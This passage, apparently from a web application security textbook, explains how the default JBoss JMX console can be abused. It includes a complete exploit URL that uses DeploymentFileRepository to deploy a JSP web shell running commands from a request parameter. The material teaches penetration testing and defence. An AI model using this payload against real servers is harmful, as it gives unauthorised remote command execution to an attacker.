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674 Chapter 18 n Attacking the Application Server Figure 18-3: Using Metasploit to compromise a vulnerable Tomcat server JMX The JMX console, installed by default within a JBoss installation, is a classic example of powerful default content. The JMX console is described as a “raw view into the microkernel of the JBoss Application Server.” In fact, it allows you to access any Managed Beans within the JBoss Application Server directly. Due to the sheer amount of functionality available, numerous security vulnerabilities have been reported. Among the easiest to exploit is the ability to use the store method within the DeploymentFileRepository to create a war file containing a backdoor, as shown in Figure 18-4.
Chapter 18 n Attacking the Application Server 675 Figure 18-4: The JMX console contains functionality allowing arbitrary WAR files to be deployed For example, the following URL uploads a page called cmdshell.jsp containing a backdoor: http://wahh-app.com:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name= jboss.admin%3Aservice%3DDeploymentFileRepository&methodName= store&argType=java.lang.String&arg0=cmdshell.war&argType= java.lang.String&arg1=cmdshell&argType=java.lang.String&arg2= .jsp&argType=java.lang.String&arg3=%3C%25Runtime.getRuntime%28%29.exec %28request.getParameter%28%22c%22%29%29%3B%25%3E%0A&argType= boolean&arg4=True As shown in Figure 18-5, this successfully creates a server-side backdoor that executes the following code: Figure 18-5: A successful attack using the JMX console to deploy a backdoor WAR file onto a JBoss server
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The Web Application Hacker’s Hand
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About the Authors Dafydd Stuttard i
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MDSec: The Authors’ Company Dafyd
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Acknowledgments We are indebted to
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Contents Introduction xxiii Chapter
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Contents xi Chapter 5 Bypassing Cli
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Contents xiii Testing Restrictions
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Contents xv Payloads for XSS Attack
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Contents xvii “Off-by-One” Vuln
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Contents xix Technical Challenges F
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Contents xxi 12 Miscellaneous Check
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xxiv Introduction attacker. If you
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xxvi Introduction Chapters 6, 7, an
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xxviii Introduction internal workin
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xxx Introduction If you want to foc
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xxxii Introduction web users that d
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CHAPTER 1 Web Application (In)secur
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Chapter 1 n Web Application (In)sec
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CHAPTER 3 Web Application Technolog
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Chapter 3 n Web Application Technol
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74 Chapter 4 n Mapping the Applicat
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100 Chapter 4 n Mapping the Applica
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CHAPTER 5 Bypassing Client-Side Con
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Chapter 5 n Bypassing Client-Side C
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160 Chapter 6 n Attacking Authentic
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CHAPTER 7 Attacking Session Managem
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Chapter 7 n Attacking Session Manag
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CHAPTER 8 Attacking Access Controls
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Chapter 8 n Attacking Access Contro
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288 Chapter 9 n Attacking Data Stor
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358 Chapter 10 n Attacking Back-End
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406 Chapter 11 n Attacking Applicat
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432 Chapter 12 n Attacking Users: C
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CHAPTER 13 Attacking Users: Other T
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Chapter 13 n Attacking Users: Other
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572 Chapter 14 n Automating Customi
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616 Chapter 15 n Exploiting Informa
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748 Chapter 20 n A Web Application
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854 Index n A-A hacker’s methodol
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856 Index n B-B meaningful, 212 URL
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858 Index n C-C XSS, 450-451 “cha
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860 Index n D-D CSS. See Cascading
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862 Index n F-F detecting hits, 574
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864 Index n H-H script injection, 8
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866 Index n J-J error messages, 388
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868 Index n M-O secret questions, 1
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870 Index n Q-R user input, 379-380
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872 Index n S-S second-order XSS. S
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874 Index n T-T signatures of commo
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876 Index n V-W provisos, 305-306 S
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878 Index n X-Z WHERE clause DELETE
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